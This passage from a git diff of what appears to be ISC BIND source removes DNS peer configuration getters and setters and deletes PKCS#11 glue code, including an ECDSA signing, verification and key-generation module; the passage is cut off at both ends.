+ACCESS_OPTION_OVERWRITE(ednsversion, EDNS_VERSION_BIT, uint8_t, ednsversion)
 
 isc_result_t
 dns_peer_getkey(dns_peer_t *peer, dns_name_t **retval) {
@@ -700,268 +514,3 @@ dns_peer_setkeybycharp(dns_peer_t *peer, const char *keyval) {
 
 	return (result);
 }
-
-isc_result_t
-dns_peer_settransfersource(dns_peer_t *peer,
-			   const isc_sockaddr_t *transfer_source) {
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	if (peer->transfer_source != NULL) {
-		isc_mem_put(peer->mem, peer->transfer_source,
-			    sizeof(*peer->transfer_source));
-		peer->transfer_source = NULL;
-	}
-	if (transfer_source != NULL) {
-		peer->transfer_source =
-			isc_mem_get(peer->mem, sizeof(*peer->transfer_source));
-
-		*peer->transfer_source = *transfer_source;
-	}
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_gettransfersource(dns_peer_t *peer, isc_sockaddr_t *transfer_source) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(transfer_source != NULL);
-
-	if (peer->transfer_source == NULL) {
-		return (ISC_R_NOTFOUND);
-	}
-	*transfer_source = *peer->transfer_source;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_setnotifysource(dns_peer_t *peer,
-			 const isc_sockaddr_t *notify_source) {
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	if (peer->notify_source != NULL) {
-		isc_mem_put(peer->mem, peer->notify_source,
-			    sizeof(*peer->notify_source));
-		peer->notify_source = NULL;
-	}
-	if (notify_source != NULL) {
-		peer->notify_source = isc_mem_get(peer->mem,
-						  sizeof(*peer->notify_source));
-
-		*peer->notify_source = *notify_source;
-	}
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getnotifysource(dns_peer_t *peer, isc_sockaddr_t *notify_source) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(notify_source != NULL);
-
-	if (peer->notify_source == NULL) {
-		return (ISC_R_NOTFOUND);
-	}
-	*notify_source = *peer->notify_source;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_setquerysource(dns_peer_t *peer, const isc_sockaddr_t *query_source) {
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	if (peer->query_source != NULL) {
-		isc_mem_put(peer->mem, peer->query_source,
-			    sizeof(*peer->query_source));
-		peer->query_source = NULL;
-	}
-	if (query_source != NULL) {
-		peer->query_source = isc_mem_get(peer->mem,
-						 sizeof(*peer->query_source));
-
-		*peer->query_source = *query_source;
-	}
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getquerysource(dns_peer_t *peer, isc_sockaddr_t *query_source) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(query_source != NULL);
-
-	if (peer->query_source == NULL) {
-		return (ISC_R_NOTFOUND);
-	}
-	*query_source = *peer->query_source;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_setudpsize(dns_peer_t *peer, uint16_t udpsize) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(SERVER_UDPSIZE_BIT, &peer->bitflags);
-
-	peer->udpsize = udpsize;
-	DNS_BIT_SET(SERVER_UDPSIZE_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getudpsize(dns_peer_t *peer, uint16_t *udpsize) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(udpsize != NULL);
-
-	if (DNS_BIT_CHECK(SERVER_UDPSIZE_BIT, &peer->bitflags)) {
-		*udpsize = peer->udpsize;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setmaxudp(dns_peer_t *peer, uint16_t maxudp) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(SERVER_MAXUDP_BIT, &peer->bitflags);
-
-	peer->maxudp = maxudp;
-	DNS_BIT_SET(SERVER_MAXUDP_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getmaxudp(dns_peer_t *peer, uint16_t *maxudp) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(maxudp != NULL);
-
-	if (DNS_BIT_CHECK(SERVER_MAXUDP_BIT, &peer->bitflags)) {
-		*maxudp = peer->maxudp;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setpadding(dns_peer_t *peer, uint16_t padding) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(SERVER_PADDING_BIT, &peer->bitflags);
-
-	if (padding > 512) {
-		padding = 512;
-	}
-	peer->padding = padding;
-	DNS_BIT_SET(SERVER_PADDING_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getpadding(dns_peer_t *peer, uint16_t *padding) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(padding != NULL);
-
-	if (DNS_BIT_CHECK(SERVER_PADDING_BIT, &peer->bitflags)) {
-		*padding = peer->padding;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setnotifydscp(dns_peer_t *peer, isc_dscp_t dscp) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(dscp < 64);
-
-	peer->notify_dscp = dscp;
-	DNS_BIT_SET(NOTIFY_DSCP_BIT, &peer->bitflags);
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getnotifydscp(dns_peer_t *peer, isc_dscp_t *dscpp) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(dscpp != NULL);
-
-	if (DNS_BIT_CHECK(NOTIFY_DSCP_BIT, &peer->bitflags)) {
-		*dscpp = peer->notify_dscp;
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_NOTFOUND);
-}
-
-isc_result_t
-dns_peer_settransferdscp(dns_peer_t *peer, isc_dscp_t dscp) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(dscp < 64);
-
-	peer->transfer_dscp = dscp;
-	DNS_BIT_SET(TRANSFER_DSCP_BIT, &peer->bitflags);
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_gettransferdscp(dns_peer_t *peer, isc_dscp_t *dscpp) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(dscpp != NULL);
-
-	if (DNS_BIT_CHECK(TRANSFER_DSCP_BIT, &peer->bitflags)) {
-		*dscpp = peer->transfer_dscp;
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_NOTFOUND);
-}
-
-isc_result_t
-dns_peer_setquerydscp(dns_peer_t *peer, isc_dscp_t dscp) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(dscp < 64);
-
-	peer->query_dscp = dscp;
-	DNS_BIT_SET(QUERY_DSCP_BIT, &peer->bitflags);
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getquerydscp(dns_peer_t *peer, isc_dscp_t *dscpp) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(dscpp != NULL);
-
-	if (DNS_BIT_CHECK(QUERY_DSCP_BIT, &peer->bitflags)) {
-		*dscpp = peer->query_dscp;
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_NOTFOUND);
-}
-
-isc_result_t
-dns_peer_setednsversion(dns_peer_t *peer, uint8_t ednsversion) {
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	peer->ednsversion = ednsversion;
-	DNS_BIT_SET(EDNS_VERSION_BIT, &peer->bitflags);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getednsversion(dns_peer_t *peer, uint8_t *ednsversion) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(ednsversion != NULL);
-
-	if (DNS_BIT_CHECK(EDNS_VERSION_BIT, &peer->bitflags)) {
-		*ednsversion = peer->ednsversion;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
diff --git a/lib/dns/pkcs11.c b/lib/dns/pkcs11.c
deleted file mode 100644
index 462b3e9d13..0000000000
--- a/lib/dns/pkcs11.c
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <isc/util.h>
-
-#include <pk11/internal.h>
-#include <pk11/pk11.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-
-#include "dst_internal.h"
-#include "dst_pkcs11.h"
-
-isc_result_t
-dst__pkcs11_toresult(const char *funcname, const char *file, int line,
-		     isc_result_t fallback, CK_RV rv) {
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_CRYPTO,
-		      ISC_LOG_WARNING, "%s:%d: %s: Error = 0x%.8lX\n", file,
-		      line, funcname, rv);
-	if (rv == CKR_HOST_MEMORY) {
-		return (ISC_R_NOMEMORY);
-	}
-	return (fallback);
-}
diff --git a/lib/dns/pkcs11ecdsa_link.c b/lib/dns/pkcs11ecdsa_link.c
deleted file mode 100644
index e5da3d5007..0000000000
--- a/lib/dns/pkcs11ecdsa_link.c
+++ /dev/null
@@ -1,1149 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-
-#include <isc/mem.h>
-#include <isc/safe.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <pk11/constants.h>
-#include <pk11/internal.h>
-#include <pk11/pk11.h>
-#include <pkcs11/pkcs11.h>
-
-#include <dns/keyvalues.h>
-
-#include <dst/result.h>
-
-#include "dst_internal.h"
-#include "dst_parse.h"
-#include "dst_pkcs11.h"
-
-/*
- * FIPS 186-3 ECDSA keys:
- *  mechanisms:
- *    CKM_ECDSA,
- *    CKM_EC_KEY_PAIR_GEN
- *  domain parameters:
- *    CKA_EC_PARAMS (choice with OID namedCurve)
- *  public keys:
- *    object class CKO_PUBLIC_KEY
- *    key type CKK_EC
- *    attribute CKA_EC_PARAMS (choice with OID namedCurve)
- *    attribute CKA_EC_POINT (point Q)
- *  private keys:
- *    object class CKO_PRIVATE_KEY
- *    key type CKK_EC
- *    attribute CKA_EC_PARAMS (choice with OID namedCurve)
- *    attribute CKA_VALUE (big int d)
- *  point format: 0x04 (octet-string) <2*size+1> 0x4 (uncompressed) <x> <y>
- */
-
-#define TAG_OCTECT_STRING 0x04
-#define UNCOMPRESSED	  0x04
-
-#define DST_RET(a)        \
-	{                 \
-		ret = a;  \
-		goto err; \
-	}
-
-static CK_BBOOL truevalue = TRUE;
-static CK_BBOOL falsevalue = FALSE;
-
-static void
-pkcs11ecdsa_destroy(dst_key_t *key);
-
-static isc_result_t
-pkcs11ecdsa_createctx(dst_key_t *key, dst_context_t *dctx) {
-	CK_RV rv;
-	CK_MECHANISM mech = { 0, NULL, 0 };
-	CK_SLOT_ID slotid;
-	pk11_context_t *pk11_ctx;
-	pk11_object_t *ec = key->keydata.pkey;
-	isc_result_t ret;
-
-	REQUIRE(dctx->key->key_alg == DST_ALG_ECDSA256 ||
-		dctx->key->key_alg == DST_ALG_ECDSA384);
-	REQUIRE(ec != NULL);
-
-	if (dctx->key->key_alg == DST_ALG_ECDSA256) {
-		mech.mechanism = CKM_SHA256;
-	} else {
-		mech.mechanism = CKM_SHA384;
-	}
-
-	pk11_ctx = isc_mem_get(dctx->mctx, sizeof(*pk11_ctx));
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	if (ec->ontoken && (dctx->use == DO_SIGN)) {
-		slotid = ec->slot;
-	} else {
-		slotid = pk11_get_best_token(OP_ECDSA);
-	}
-	ret = pk11_get_session(pk11_ctx, OP_ECDSA, true, false, ec->reqlogon,
-			       NULL, slotid);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	PK11_RET(pkcs_C_DigestInit, (pk11_ctx->session, &mech), ISC_R_FAILURE);
-	dctx->ctxdata.pk11_ctx = pk11_ctx;
-	return (ISC_R_SUCCESS);
-
-err:
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ret);
-}
-
-static void
-pkcs11ecdsa_destroyctx(dst_context_t *dctx) {
-	CK_BYTE garbage[ISC_SHA384_DIGESTLENGTH];
-	CK_ULONG len = ISC_SHA384_DIGESTLENGTH;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-
-	REQUIRE(dctx->key->key_alg == DST_ALG_ECDSA256 ||
-		dctx->key->key_alg == DST_ALG_ECDSA384);
-
-	if (pk11_ctx != NULL) {
-		(void)pkcs_C_DigestFinal(pk11_ctx->session, garbage, &len);
-		memset(garbage, 0, sizeof(garbage));
-		pk11_return_session(pk11_ctx);
-		memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-		isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-		dctx->ctxdata.pk11_ctx = NULL;
-	}
-}
-
-static isc_result_t
-pkcs11ecdsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
-	CK_RV rv;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	isc_result_t ret = ISC_R_SUCCESS;
-
-	REQUIRE(dctx->key->key_alg == DST_ALG_ECDSA256 ||
-		dctx->key->key_alg == DST_ALG_ECDSA384);
-
-	PK11_CALL(pkcs_C_DigestUpdate,
-		  (pk11_ctx->session, (CK_BYTE_PTR)data->base,
-		   (CK_ULONG)data->length),
-		  ISC_R_FAILURE);
-
-	return (ret);
-}
-
-static isc_result_t
-pkcs11ecdsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_ECDSA, NULL, 0 };
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PRIVATE_KEY;
-	CK_KEY_TYPE keyType = CKK_EC;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SIGN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_EC_PARAMS, NULL, 0 },
-		{ CKA_VALUE, NULL, 0 }
-	};
-	CK_ATTRIBUTE *attr;
-	CK_BYTE digest[ISC_SHA384_DIGESTLENGTH];
-	CK_ULONG dgstlen;
-	CK_ULONG siglen;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	dst_key_t *key = dctx->key;
-	pk11_object_t *ec = key->keydata.pkey;
-	isc_region_t r;
-	isc_result_t ret = ISC_R_SUCCESS;
-	unsigned int i;
-
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-	REQUIRE(ec != NULL);
-
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		dgstlen = ISC_SHA256_DIGESTLENGTH;
-		siglen = DNS_SIG_ECDSA256SIZE;
-		break;
-	case DST_ALG_ECDSA384:
-		siglen = DNS_SIG_ECDSA384SIZE;
-		dgstlen = ISC_SHA384_DIGESTLENGTH;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	PK11_RET(pkcs_C_DigestFinal, (pk11_ctx->session, digest, &dgstlen),
-		 ISC_R_FAILURE);
-
-	isc_buffer_availableregion(sig, &r);
-	if (r.length < siglen) {
-		DST_RET(ISC_R_NOSPACE);
-	}
-
-	if (ec->ontoken && (ec->object != CK_INVALID_HANDLE)) {
-		pk11_ctx->ontoken = ec->ontoken;
-		pk11_ctx->object = ec->object;
-		goto token_key;
-	}
-
-	for (attr = pk11_attribute_first(ec); attr != NULL;
-	     attr = pk11_attribute_next(ec, attr))
-		switch (attr->type) {
-		case CKA_EC_PARAMS:
-			INSIST(keyTemplate[5].type == attr->type);
-			keyTemplate[5].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[5].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[5].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_VALUE:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			break;
-		}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)7, &hKey),
-		 ISC_R_FAILURE);
-
-token_key:
-
-	PK11_RET(pkcs_C_SignInit,
-		 (pk11_ctx->session, &mech,
-		  pk11_ctx->ontoken ? pk11_ctx->object : hKey),
-		 ISC_R_FAILURE);
-
-	PK11_RET(pkcs_C_Sign,
-		 (pk11_ctx->session, digest, dgstlen, (CK_BYTE_PTR)r.base,
-		  &siglen),
-		 DST_R_SIGNFAILURE);
-
-	isc_buffer_add(sig, (unsigned int)siglen);
-
-err:
-
-	if (hKey != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, hKey);
-	}
-	for (i = 5; i <= 6; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				memset(keyTemplate[i].pValue, 0,
-				       keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	dctx->ctxdata.pk11_ctx = NULL;
-
-	return (ret);
-}
-
-static isc_result_t
-pkcs11ecdsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_ECDSA, NULL, 0 };
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_EC;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_VERIFY, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_EC_PARAMS, NULL, 0 },
-		{ CKA_EC_POINT, NULL, 0 }
-	};
-	CK_ATTRIBUTE *attr;
-	CK_BYTE digest[ISC_SHA384_DIGESTLENGTH];
-	CK_ULONG dgstlen;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	dst_key_t *key = dctx->key;
-	pk11_object_t *ec = key->keydata.pkey;
-	isc_result_t ret = ISC_R_SUCCESS;
-	unsigned int i;
-
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-	REQUIRE(ec != NULL);
-
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		dgstlen = ISC_SHA256_DIGESTLENGTH;
-		break;
-	case DST_ALG_ECDSA384:
-		dgstlen = ISC_SHA384_DIGESTLENGTH;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	PK11_RET(pkcs_C_DigestFinal, (pk11_ctx->session, digest, &dgstlen),
-		 ISC_R_FAILURE);
-
-	for (attr = pk11_attribute_first(ec); attr != NULL;
-	     attr = pk11_attribute_next(ec, attr))
-		switch (attr->type) {
-		case CKA_EC_PARAMS:
-			INSIST(keyTemplate[5].type == attr->type);
-			keyTemplate[5].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[5].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[5].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_EC_POINT:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			break;
-		}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)7, &hKey),
-		 ISC_R_FAILURE);
-
-	PK11_RET(pkcs_C_VerifyInit, (pk11_ctx->session, &mech, hKey),
-		 ISC_R_FAILURE);
-
-	PK11_RET(pkcs_C_Verify,
-		 (pk11_ctx->session, digest, dgstlen, (CK_BYTE_PTR)sig->base,
-		  (CK_ULONG)sig->length),
-		 DST_R_VERIFYFAILURE);
-
-err:
-
-	if (hKey != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, hKey);
-	}
-	for (i = 5; i <= 6; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				memset(keyTemplate[i].pValue, 0,
-				       keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	dctx->ctxdata.pk11_ctx = NULL;
-
-	return (ret);
-}
-
-static bool
-pkcs11ecdsa_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	pk11_object_t *ec1, *ec2;
-	CK_ATTRIBUTE *attr1, *attr2;
-
-	ec1 = key1->keydata.pkey;
-	ec2 = key2->keydata.pkey;
-
-	if ((ec1 == NULL) && (ec2 == NULL)) {
-		return (true);
-	} else if ((ec1 == NULL) || (ec2 == NULL)) {
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(ec1, CKA_EC_PARAMS);
-	attr2 = pk11_attribute_bytype(ec2, CKA_EC_PARAMS);
-	if ((attr1 == NULL) && (attr2 == NULL)) {
-		return (true);
-	} else if ((attr1 == NULL) || (attr2 == NULL) ||
-		   (attr1->ulValueLen != attr2->ulValueLen) ||
-		   !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				      attr1->ulValueLen))
-	{
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(ec1, CKA_EC_POINT);
-	attr2 = pk11_attribute_bytype(ec2, CKA_EC_POINT);
-	if ((attr1 == NULL) && (attr2 == NULL)) {
-		return (true);
-	} else if ((attr1 == NULL) || (attr2 == NULL) ||
-		   (attr1->ulValueLen != attr2->ulValueLen) ||
-		   !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				      attr1->ulValueLen))
-	{
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(ec1, CKA_VALUE);
-	attr2 = pk11_attribute_bytype(ec2, CKA_VALUE);
-	if (((attr1 != NULL) || (attr2 != NULL)) &&
-	    ((attr1 == NULL) || (attr2 == NULL) ||
-	     (attr1->ulValueLen != attr2->ulValueLen) ||
-	     !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				attr1->ulValueLen)))
-	{
-		return (false);
-	}
-
-	if (!ec1->ontoken && !ec2->ontoken) {
-		return (true);
-	} else if (ec1->ontoken || ec2->ontoken || (ec1->object != ec2->object))
-	{
-		return (false);
-	}
-
-	return (true);
-}
-
-#define SETCURVE()                                                       \
-	switch (key->key_alg) {                                          \
-	case DST_ALG_ECDSA256:                                           \
-		attr->pValue = isc_mem_get(key->mctx,                    \
-					   sizeof(PK11_ECC_PRIME256V1)); \
-		memmove(attr->pValue, PK11_ECC_PRIME256V1,               \
-			sizeof(PK11_ECC_PRIME256V1));                    \
-		attr->ulValueLen = sizeof(PK11_ECC_PRIME256V1);          \
-		break;                                                   \
-	case DST_ALG_ECDSA384:                                           \
-		attr->pValue = isc_mem_get(key->mctx,                    \
-					   sizeof(PK11_ECC_SECP384R1));  \
-		memmove(attr->pValue, PK11_ECC_SECP384R1,                \
-			sizeof(PK11_ECC_SECP384R1));                     \
-		attr->ulValueLen = sizeof(PK11_ECC_SECP384R1);           \
-		break;                                                   \
-	default:                                                         \
-		INSIST(0);                                               \
-		ISC_UNREACHABLE();                                       \
-	}
-
-#define FREECURVE()                                                     \
-	if (attr->pValue != NULL) {                                     \
-		memset(attr->pValue, 0, attr->ulValueLen);              \
-		isc_mem_put(key->mctx, attr->pValue, attr->ulValueLen); \
-		attr->pValue = NULL;                                    \
-	}
-
-static isc_result_t
-pkcs11ecdsa_generate(dst_key_t *key, int unused, void (*callback)(int)) {
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_EC_KEY_PAIR_GEN, NULL, 0 };
-	CK_OBJECT_HANDLE pub = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS pubClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_EC;
-	CK_ATTRIBUTE pubTemplate[] = {
-		{ CKA_CLASS, &pubClass, (CK_ULONG)sizeof(pubClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_VERIFY, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_EC_PARAMS, NULL, 0 }
-	};
-	CK_OBJECT_HANDLE priv = CK_INVALID_HANDLE;
-	CK_OBJECT_HANDLE privClass = CKO_PRIVATE_KEY;
-	CK_ATTRIBUTE privTemplate[] = {
-		{ CKA_CLASS, &privClass, (CK_ULONG)sizeof(privClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SENSITIVE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_EXTRACTABLE, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_SIGN, &truevalue, (CK_ULONG)sizeof(truevalue) }
-	};
-	CK_ATTRIBUTE *attr;
-	pk11_object_t *ec;
-	pk11_context_t *pk11_ctx;
-	isc_result_t ret;
-
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-	UNUSED(unused);
-	UNUSED(callback);
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_ECDSA, true, false, false, NULL,
-			       pk11_get_best_token(OP_ECDSA));
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	key->keydata.pkey = ec;
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 3);
-	memset(ec->repr, 0, sizeof(*attr) * 3);
-	ec->attrcnt = 3;
-
-	attr = ec->repr;
-	attr[0].type = CKA_EC_PARAMS;
-	attr[1].type = CKA_EC_POINT;
-	attr[2].type = CKA_VALUE;
-
-	attr = &pubTemplate[5];
-	SETCURVE();
-
-	PK11_RET(pkcs_C_GenerateKeyPair,
-		 (pk11_ctx->session, &mech, pubTemplate, (CK_ULONG)6,
-		  privTemplate, (CK_ULONG)7, &pub, &priv),
-		 DST_R_CRYPTOFAILURE);
-
-	attr = &pubTemplate[5];
-	FREECURVE();
-
-	attr = ec->repr;
-	SETCURVE();
-
-	attr++;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, pub, attr, 1),
-		 DST_R_CRYPTOFAILURE);
-	attr->pValue = isc_mem_get(key->mctx, attr->ulValueLen);
-	memset(attr->pValue, 0, attr->ulValueLen);
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, pub, attr, 1),
-		 DST_R_CRYPTOFAILURE);
-
-	attr++;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, priv, attr, 1),
